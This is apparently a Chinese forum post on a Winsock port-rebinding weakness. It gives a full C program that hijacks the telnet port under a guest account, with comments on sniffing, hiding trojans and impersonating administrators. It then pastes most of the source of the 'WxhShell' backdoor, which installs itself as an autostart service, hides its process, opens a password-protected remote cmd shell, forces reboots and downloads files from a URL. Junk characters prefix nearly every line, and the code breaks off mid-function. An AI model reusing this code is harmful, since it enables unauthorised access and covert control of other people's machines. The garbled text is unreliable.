在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Xu#K<#V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Fwv(J_'q 9='=wWW saddr.sin_family = AF_INET;
jCv%[H7 qox31pnS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%y}l^P5z *L~88-V^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
a76`"(W V61.UEN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zWEt< `1M 4GTB82V$ 这意味着什么?意味着可以进行如下的攻击:
gay6dj^ \3v}:E+3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2zN%Z!a#J ?.b.mkJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
l:rT{l=8* %["V "{ z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"<I*ViZ ISl-W1u} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
7BDoF!kCx $+.!(Js"K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L;s,x V {!rpE7P- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-R-|[xN B\}B
H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5(sWV:_2 gXI8$W> #include
t=$Hv #include
@G;\gJT* #include
2
.)`8|c9 #include
"vG~2J DWORD WINAPI ClientThread(LPVOID lpParam);
-THU5AB int main()
C [h^bBq {
+HOHu*D WORD wVersionRequested;
-%#F5br% DWORD ret;
X6g{qz Hg_ WSADATA wsaData;
8o4?mhqV BOOL val;
;+h-o SOCKADDR_IN saddr;
K<Qy1y~[ SOCKADDR_IN scaddr;
>*aqYNft int err;
9F^rXY. SOCKET s;
UjI-<| SOCKET sc;
G*lkVQ6? int caddsize;
SYsbe 5j HANDLE mt;
!Cv:,q DWORD tid;
NN;'QiE wVersionRequested = MAKEWORD( 2, 2 );
]aF!0Fln~ err = WSAStartup( wVersionRequested, &wsaData );
79JU if ( err != 0 ) {
YKT=0 printf("error!WSAStartup failed!\n");
IJt8*
cw return -1;
d*{NAq'9X }
V
K)%Us- saddr.sin_family = AF_INET;
l
/\n7: M;Dk$B{;R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
HQOz /Sag_[i saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9s}y*Vp saddr.sin_port = htons(23);
B Ctm05 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8S_v} NUm {
};=44E'7 printf("error!socket failed!\n");
CnA0^JX return -1;
)Cm7v@B
}
4Cdl^4(LT val = TRUE;
!{,
`h< //SO_REUSEADDR选项就是可以实现端口重绑定的
pNzSy"Y$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
] oh.w {
xfyUT^ printf("error!setsockopt failed!\n");
?QXc,*=N return -1;
<CnTiS# }
lZa L=HS#L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
c/q -WEKL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xEfz AJ5& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
w0FkKJV $J]b+Bp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}JKK"d}U {
BCK0fk~ ret=GetLastError();
T+y3Ph--^ printf("error!bind failed!\n");
aA5rvP+ return -1;
;%H/^b.c }
@a{1vT9b listen(s,2);
N$i|[>`j while(1)
`>mT/Rmb@ {
LYv$U;*+ caddsize = sizeof(scaddr);
hD5G\TR. //接受连接请求
mSu1/?PS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rcWr0q if(sc!=INVALID_SOCKET)
.^%!X!r {
_Bh ^<D- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CQ+WBTiC if(mt==NULL)
ZV;lr Vv {
s28rj6q printf("Thread Creat Failed!\n");
n
7Bua break;
2}^fhMS }
yA/b7x-c }
6fOh * CloseHandle(mt);
H[a1n' "<: }
DfNX@gbo closesocket(s);
LmKG6>Q1#1 WSACleanup();
Mk -Rl return 0;
#~SQujgB }
LK'|sO>|
DWORD WINAPI ClientThread(LPVOID lpParam)
pg.z `k {
7fg +WZ SOCKET ss = (SOCKET)lpParam;
8=%%C: SOCKET sc;
DgQw9`WA unsigned char buf[4096];
ARD&L$AX SOCKADDR_IN saddr;
x3JX}yCX long num;
c9
UJ= DWORD val;
A$9^JF0$ DWORD ret;
1~HR;cTv= //如果是隐藏端口应用的话,可以在此处加一些判断
}LaRa.3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J,bE[52 saddr.sin_family = AF_INET;
Gg3cY{7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~HH#aXh* saddr.sin_port = htons(23);
n2JwZ? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uD2v6x236 {
Ris5)*7 printf("error!socket failed!\n");
DhL]\
4 return -1;
'01ifA^ }
,KMt9< val = 100;
G:]w
UC\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MU ;
L7^ {
JDyP..Dt ret = GetLastError();
A{:PpYs return -1;
UoLvc~n7 }
BihXYux* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~9OART=' {
X$L9kZ ret = GetLastError();
g)<t=+a return -1;
yX:*TK4 }
YmS}*>oz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
f,?P1D\ {
]&')#YO printf("error!socket connect failed!\n");
Ighd,G- closesocket(sc);
bk**% ] closesocket(ss);
[_&\wHX return -1;
)PRyDC- }
MmjeFv while(1)
d{UyiZm\ {
zF6]2Y?k% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R(?g+:eCpM //如果是嗅探内容的话,可以再此处进行内容分析和记录
iY /N%T; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
tntQO!pM num = recv(ss,buf,4096,0);
q&h&GZ if(num>0)
oCBZ9PGkK send(sc,buf,num,0);
Qz+hS\yx else if(num==0)
pV>M,f break;
s/,wyxKd num = recv(sc,buf,4096,0);
kAF[K,GG if(num>0)
4v"9I( send(ss,buf,num,0);
<Ct b^4$ else if(num==0)
p?mQ\O8F break;
ohHKZZ }
_`/:gkZS closesocket(ss);
'nOc_b0 closesocket(sc);
ltKUpRE\? return 0 ;
gg>O:np8 }
6n{`t/ ~mqiXr8 9Ytf7NpR ==========================================================
!^dvtv`K H5f>Q0jq
下边附上一个代码,,WXhSHELL
bp06xHMu ohFUy}y ==========================================================
-I$qe Xy i )Hjmf3 #include "stdafx.h"
$nB4Ie!WcR Vf67gux #include <stdio.h>
4,o|6H #include <string.h>
-.8 nEO3 #include <windows.h>
L#Mul&r3x0 #include <winsock2.h>
YxEc(a" #include <winsvc.h>
K5O#BBX= #include <urlmon.h>
zFy0SzF t;7 tuq
#pragma comment (lib, "Ws2_32.lib")
v-;j44sB #pragma comment (lib, "urlmon.lib")
p#VA-RSUQ| N|n"JKw) #define MAX_USER 100 // 最大客户端连接数
>a@c5 #define BUF_SOCK 200 // sock buffer
9oly=&lJ #define KEY_BUFF 255 // 输入 buffer
<q
V<dK&W 28KS*5S #define REBOOT 0 // 重启
a=<l}`* #define SHUTDOWN 1 // 关机
Le&SN7I c~B[<.Qj #define DEF_PORT 5000 // 监听端口
<1HbjRw nu1s #define REG_LEN 16 // 注册表键长度
B 4pJg #define SVC_LEN 80 // NT服务名长度
R^`# xQ S\"/=|\ // 从dll定义API
ZGUhje! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\/3Xb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
VP|ga}( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EkV
LSur typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#K8kz aKkG[qN // wxhshell配置信息
>4gGb) struct WSCFG {
Y)kO" int ws_port; // 监听端口
:G/T{87H char ws_passstr[REG_LEN]; // 口令
.w/_Om4T*b int ws_autoins; // 安装标记, 1=yes 0=no
K:!|xr(1d char ws_regname[REG_LEN]; // 注册表键名
`'Fz:i char ws_svcname[REG_LEN]; // 服务名
?0>%
a$` char ws_svcdisp[SVC_LEN]; // 服务显示名
S]kY'(V(* char ws_svcdesc[SVC_LEN]; // 服务描述信息
J2\%rb, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F;5S2:a@Z int ws_downexe; // 下载执行标记, 1=yes 0=no
g$c\(isY; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
YQb43Sh` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;naD`([ vf=b5s(7Q };
<IWO:7*# I:4m]q b // default Wxhshell configuration
$F|3VQ~ struct WSCFG wscfg={DEF_PORT,
teO%w9ByY "xuhuanlingzhe",
N? r{Y$x 1,
c2aX_ " "Wxhshell",
ZXP9{Hh "Wxhshell",
KTV~g@Jf "WxhShell Service",
Yx4TUA$c' "Wrsky Windows CmdShell Service",
[89qg+z "Please Input Your Password: ",
K3QE>@'] 1,
D -Goi-4 "
http://www.wrsky.com/wxhshell.exe",
!,f{I5/ "Wxhshell.exe"
P&Vqr };
:x*|?zII ^l}Esz`-M // 消息定义模块
N=e-"8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
h
rL_. 4 char *msg_ws_prompt="\n\r? for help\n\r#>";
}P8@\2@=T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;Kq/[$~0 char *msg_ws_ext="\n\rExit.";
{\!_S+}{ char *msg_ws_end="\n\rQuit.";
3urL*Fw, char *msg_ws_boot="\n\rReboot...";
gxry?': char *msg_ws_poff="\n\rShutdown...";
U$;FOl char *msg_ws_down="\n\rSave to ";
AV"fOK;#A ^oNk}:> char *msg_ws_err="\n\rErr!";
0/7y&-/( char *msg_ws_ok="\n\rOK!";
zJE$sB.f OR4ZjogzY char ExeFile[MAX_PATH];
Q{ hXP*5 int nUser = 0;
1bW[RK;GE HANDLE handles[MAX_USER];
\`:X37n)0q int OsIsNt;
2&st/y(hs %#!pAUP\& SERVICE_STATUS serviceStatus;
%d..L-`]ET SERVICE_STATUS_HANDLE hServiceStatusHandle;
>'>onAIL 8cq H0{ // 函数声明
Z^AOV:|m int Install(void);
q.s 2x0 int Uninstall(void);
~f/nq/8 int DownloadFile(char *sURL, SOCKET wsh);
cVHv>nd# int Boot(int flag);
A#:5b5R void HideProc(void);
%y(oY int GetOsVer(void);
m&EJ@,H int Wxhshell(SOCKET wsl);
MO7:ZYq void TalkWithClient(void *cs);
Vo@[ int CmdShell(SOCKET sock);
mK!73<p_ int StartFromService(void);
jfxW9][ int StartWxhshell(LPSTR lpCmdLine);
RQzcsO 6$"gm$3O] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
o)_;cCr)q VOID WINAPI NTServiceHandler( DWORD fdwControl );
?LP&VU1 7_,)"J2^ // 数据结构和表定义
Ok7i^-85 SERVICE_TABLE_ENTRY DispatchTable[] =
i
*W9 4 {
8*sZ/N. {wscfg.ws_svcname, NTServiceMain},
$O}:*.{(W {NULL, NULL}
+b<q4W };
kHj|:,'sV 3B }Oy$p // 自我安装
,uEi*s> int Install(void)
vA(V.s` {
.8[Db1W char svExeFile[MAX_PATH];
dl:uI5] HKEY key;
EeW %5/; strcpy(svExeFile,ExeFile);
4%h@K(iN qT(
3M9! // 如果是win9x系统,修改注册表设为自启动
/RLeD if(!OsIsNt) {
2yYq/J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J(CqT/Au- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qla$}dnvc RegCloseKey(key);
jOuz-1x,& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}R.<\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_1D'9!+ RegCloseKey(key);
p=T,JAI t return 0;
sq6|J])GgU }
"xS?#^a }
m791w8Vr }
Hu"?wZj else {
2Z3c` /k %]/O0#E3Kz // 如果是NT以上系统,安装为系统服务
&yFt@g] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~(2G7x)
if (schSCManager!=0)
DL&\iR {
9v_B$F$_T SC_HANDLE schService = CreateService
0E9LZOw4T (
/IDfGAE schSCManager,
XWQp-H. wscfg.ws_svcname,
Z4U8~i wscfg.ws_svcdisp,
>L6V! SERVICE_ALL_ACCESS,
#q`-"2"| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1:I47/ SERVICE_AUTO_START,
$0[T=9q <+ SERVICE_ERROR_NORMAL,
MjIp~?* svExeFile,
tOn_S@/r NULL,
+" 4E:9P? NULL,
GT|=Kx$; NULL,
f_}FYeg NULL,
\IZfp=On NULL
mz\d>0F U. );
c hE~UQ if (schService!=0)
B2UQO4[w {
(uBevU\ CloseServiceHandle(schService);
nK*$P +[R CloseServiceHandle(schSCManager);
l@-J&qG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
OS c&n>\t strcat(svExeFile,wscfg.ws_svcname);
cnh\K.*}_x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]V!q"|
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8$ dJh]\Y RegCloseKey(key);
u_.`I8qa return 0;
&PRu[! }
<&3qFK*9r }
Q<$I,C] CloseServiceHandle(schSCManager);
S:qML]RO }
_9!_fIY }
Xz`?b4i =y"
lX{}G return 1;
g0-hN%=6 }
_1w?nN' 2J;h}/!H // 自我卸载
Q/T\Rr_d int Uninstall(void)
SooSOOAx[ {
Z/=x(I0 HKEY key;
Pyc/6~? {b4+ Yc if(!OsIsNt) {
(dO, +~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,@2d<d] RegDeleteValue(key,wscfg.ws_regname);
g`)2I+L7 RegCloseKey(key);
0w?\KHT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
't3/< h< RegDeleteValue(key,wscfg.ws_regname);
- P+( =U RegCloseKey(key);
SdF*"]t return 0;
so h3d }
?A7&SdJaO }
d,j"8\@ }
D.G+*h@ g else {
MrIo. e6{}hiM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
uZ mi if (schSCManager!=0)
Cg NfqT0 {
S[!-M\b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+.UdEIR";M if (schService!=0)
P E1F3u>O {
A@^e4\ if(DeleteService(schService)!=0) {
BR5r K CloseServiceHandle(schService);
9kj71Jp&} CloseServiceHandle(schSCManager);
=>". return 0;
yP\KIm! }
WTi8 CloseServiceHandle(schService);
m_~!Lj[u. }
Y4,~s64e CloseServiceHandle(schSCManager);
(xffU%C^ }
T1ZAw'6(K
}
&CW,qY,sh a5o&6 _ return 1;
>jU.R;H5 }
Tvr2K84l `9SRiy // 从指定url下载文件
nunTTE,iq% int DownloadFile(char *sURL, SOCKET wsh)
dwOB)B@{H {
,yW BO HRESULT hr;
c%Y%c2([ char seps[]= "/";
]dB6-- char *token;
U1<EAGo| char *file;
>x0"gh char myURL[MAX_PATH];
w[Ee#Yaj.- char myFILE[MAX_PATH];
j!9p#JK#u E/@w6uIK[ strcpy(myURL,sURL);
_SM5x,Zd token=strtok(myURL,seps);
ikf6Y$nWfF while(token!=NULL)
uNe5Mv|} {
xwG=&+66 file=token;
D4%5T>^LW[ token=strtok(NULL,seps);
hmJ{'D1" }
47s<xQy ,w%cX{ GetCurrentDirectory(MAX_PATH,myFILE);
\"B oTi'2! strcat(myFILE, "\\");
-miWXEe@l strcat(myFILE, file);
C=L_@{^Rgb send(wsh,myFILE,strlen(myFILE),0);
We3Z#}X send(wsh,"...",3,0);
](yw2c;me hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]JB~LQz]k if(hr==S_OK)
UD6D![e return 0;
a=bP else
L<bZVocOb_ return 1;
WvVHSa4{ =qH9<,p`H }
%O-RhB4q X6s6fu; // 系统电源模块
-:IG{3fnu int Boot(int flag)
p?S:J`q {
^mr#t #[e HANDLE hToken;
FT'_{e!M TOKEN_PRIVILEGES tkp;
Kr $R " :Z|lGH
= if(OsIsNt) {
ncS.~F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1(6B|w5+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
VP^Yph 8R tkp.PrivilegeCount = 1;
~7aBli= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
EIO!f[]o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#|'&%n|Z if(flag==REBOOT) {
O8#}2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
OU+oS, return 0;
F?=(4Pyvu }
-kY7~yS7 else {
HPVW2Y0_N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Oq~>P!= return 0;
@@$=MSN }
4?YhqJ }
u,<I% else {
sXm8KV if(flag==REBOOT) {
Pk444_"= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]Hk8XT@Q+ return 0;
R:SFj!W1 }
3vTX2e.w else {
gNr/rp9A$m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\z!*)v/{- return 0;
ZM"J5}h }
]|g{{PWH }
`=b)fE 3f9J!B`n return 1;
h_6QVab@ }
)2T?Z)"hO =&?}qa(P // win9x进程隐藏模块
"orZje9AC void HideProc(void)
'/+l\.z"& {
WHxq-&= #UGtYD}" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tK)E*! if ( hKernel != NULL )
CU)'x
E {
S N_!o2F2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3XY;g{`=q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`-!t 8BH FreeLibrary(hKernel);
X~XpX7d! }
l
+RT>jAmK -E~pCN(E return;
($:s}_<>s }
|,CWk|G clK3kBh~& // 获取操作系统版本
c/.U< int GetOsVer(void)
lC&U9=7W {
:3F&NsgHH OSVERSIONINFO winfo;
[.;$6C/? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yiyyw,iy GetVersionEx(&winfo);
n1K"VjZk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
t(/b'Peq return 1;
QCkPua9 else
J$6tCFD return 0;
GKdQ }
9d{iq"*R #
JHicx\8l // 客户端句柄模块
:9H=D^J int Wxhshell(SOCKET wsl)
WCxt-+# {
2= FGZa*. SOCKET wsh;
B$A`- struct sockaddr_in client;
n%PHHu
DWORD myID;
wN/d
J u
'-4hU while(nUser<MAX_USER)
.Ymoh>JRL {
5D0O.v int nSize=sizeof(client);
)70-q yA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Cv{>|g# if(wsh==INVALID_SOCKET) return 1;
N{v
<z 6 ^qXc%hj g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(Qmpz if(handles[nUser]==0)
`hYj0:*)S$ closesocket(wsh);
v^2q\A-? else
27q9zi!Q nUser++;
:f (UZmV$ }
In)8AK(Hw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8'J"+TsOW h-u63b1"? return 0;
c!l=09a~a+ }
{HPKp&kl @ht= (Jk9 // 关闭 socket
Gs]m; "o|
void CloseIt(SOCKET wsh)
MKIX(r(| {
K?0f)@\nx closesocket(wsh);
jyRSe^x nUser--;
p^PAbCP'|3 ExitThread(0);
`tKrTq> }
LAqmM3{fA GUyMo@g // 客户端请求句柄
!}7FC>Cx void TalkWithClient(void *cs)
sd|5oz) {
3>FeTf#: Dizc#!IGU SOCKET wsh=(SOCKET)cs;
.Bxv|dji char pwd[SVC_LEN];
!K: char cmd[KEY_BUFF];
(ZR+(+i, char chr[1];
]hY'A>4Uq int i,j;
Y'tPD#|r %Wy$m?gD while (nUser < MAX_USER) {
Ce 3{KGBw >*/\Pg6^ if(wscfg.ws_passstr) {
bHx09F] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#
+OEO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k=D_9_ //ZeroMemory(pwd,KEY_BUFF);
u0^Vy#@_ i=0;
t"[x x_i while(i<SVC_LEN) {
B->3/dp2c' GG0l\!2) // 设置超时
z7B>7}i- fd_set FdRead;
La&?0P A struct timeval TimeOut;
epw*Px FD_ZERO(&FdRead);
Mrpz (}) FD_SET(wsh,&FdRead);
zJC!MeN TimeOut.tv_sec=8;
V`*N2ztSL TimeOut.tv_usec=0;
J_PAWW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
PuyJ:#a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d.wu Wp7lDx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xz!b@5DR'% pwd
=chr[0]; ZBw]H'sT
if(chr[0]==0xd || chr[0]==0xa) { zx<:1nF,]
pwd=0; RsTz3]`yv
break; \VQv
"wid
} bYsK|n
i++; lG[@s 'j
} &<??,R14
$;GH
-+
// 如果是非法用户,关闭 socket QH z3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |"}F cS
y
} IXjFK
rw:z|-r
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HW|5'opF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T'VZ=l[
V{#8+
while(1) { -"Mq<XO&51
An0DqjR
ZeroMemory(cmd,KEY_BUFF); h2k"iO}
1f3c3PJ
// 自动支持客户端 telnet标准 hA'i|;|ZYc
j=0; Oy(fh%k#
while(j<KEY_BUFF) { *dmBJi}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S10"yhn(-t
cmd[j]=chr[0]; g|STeg g
if(chr[0]==0xa || chr[0]==0xd) { CjFnE
cmd[j]=0; E; `@S
break; pCacm@(hG
} $<NrJgQ
j++; hQWo ]WF(J
} w.7pD
?nf !sJ'm
// 下载文件 -hd@<+;E
if(strstr(cmd,"http://")) { !=uaB.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \&!qw[;O
if(DownloadFile(cmd,wsh)) ey/{Z<D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LyR bD$m
else ;?h+8Z/{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]&FB{l
} QsemN7B"<
else { &':Ecmo~`
\iP=V3
switch(cmd[0]) { 2gasH11M
}xa~U,#5
// 帮助 }srmG|@:
case '?': { }Fq~!D
Ee
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o=]\Jy
break; >TQNrS^$J
} Svicw`uX0
// 安装 =&K8~
case 'i': { 7oy}<9
if(Install()) ;% <[*T:*'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -I0J-~#
else <jAn~=Uq[,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q8H+=L:
break; ''Y'ZsQ;
} btR~LJb
// 卸载 *)Us
case 'r': { pN4gHi=
if(Uninstall()) M!Ua/g=u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,f@\Fs~n
else p![UO I"W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c5em*qCw$
break; wJc`^gj
} j 06mky
// 显示 wxhshell 所在路径 Y*QoD9<T?;
case 'p': { R>D [I.
char svExeFile[MAX_PATH]; 9;7|MPbR
strcpy(svExeFile,"\n\r"); Z mc"
strcat(svExeFile,ExeFile); Y|!m
send(wsh,svExeFile,strlen(svExeFile),0); LgxsO:mi
break; =5;tB
} (O$il
// 重启 Q?2GwN
case 'b': { 5Q/jI$^h0Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QJy1j~9x
if(Boot(REBOOT)) 5X73@Aj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yvWM]A
else { TE9Iyl|=
closesocket(wsh); tc0(G~.N
ExitThread(0); YSB~04
} R>t?6HOcp
break; w
m|WER*.
} Ea)=K'Pz
// 关机 ][dst@?8Oz
case 'd': { 5gSe=|we*p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tR\cS)
if(Boot(SHUTDOWN)) IP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L0)w~F
?m
else { m}(M{^\|
closesocket(wsh); Z*+y?5+L"P
ExitThread(0); Z<iK(?@O
} .L~
NX/V
break; dsn(h5,Q'
} ,<BV5~T.|
// 获取shell -W{ !`<8D
case 's': { 6j Rewj
CmdShell(wsh); q 2P_37
closesocket(wsh); PJO.^OsM
ExitThread(0); tlM >=s'T
break; TkR#Kzv380
} cGyR_8:2cv
// 退出 ;$67GK
case 'x': { AqAL)`#K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h0
Xc=nj
CloseIt(wsh); Q?bCQZ{-Lh
break; %ol\ sO|
} [Z2{S-)UM
// 离开 mM r$~^P:
case 'q': { ^-Rqlr,F;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^3ai}Ei3
closesocket(wsh); ^#t6/fY.#
WSACleanup(); #^}s1
4n
exit(1); h[;DRD!Z
break; )KY4BBc
} t`Rbn{
} `GSl}A
} qu\U^F
h$#PboLd
// 提示信息 1En:QQ4/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }5;/!P_A
} &;bey4_J
} ,9M2'6=
:Q,~Nw>
return; @?jbah#
} p"6ydXn%
IML.6<,(Z
// shell模块句柄 XmaRg{22
int CmdShell(SOCKET sock) icQQLSU5
{ ($Op*bR
STARTUPINFO si; $DaQM'-
ZeroMemory(&si,sizeof(si)); :r2d%:h%2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }KYOde@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >@h#'[z,d
PROCESS_INFORMATION ProcessInfo; 9{}"tk5$h
char cmdline[]="cmd"; k8!:`jG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =
c1>ja
return 0; +,g!xv4Q
} o@hj.)u
l<qEX O
// 自身启动模式 XgyLlp;,O
int StartFromService(void) 4:Oq(e_(
{ OrF.wcg
typedef struct jZQ{XMF
{ P'o]#Az
DWORD ExitStatus; ^ p7z3ng
DWORD PebBaseAddress; 1>/ iYf
DWORD AffinityMask; Qp7F3,/#
DWORD BasePriority;
YCVT0d
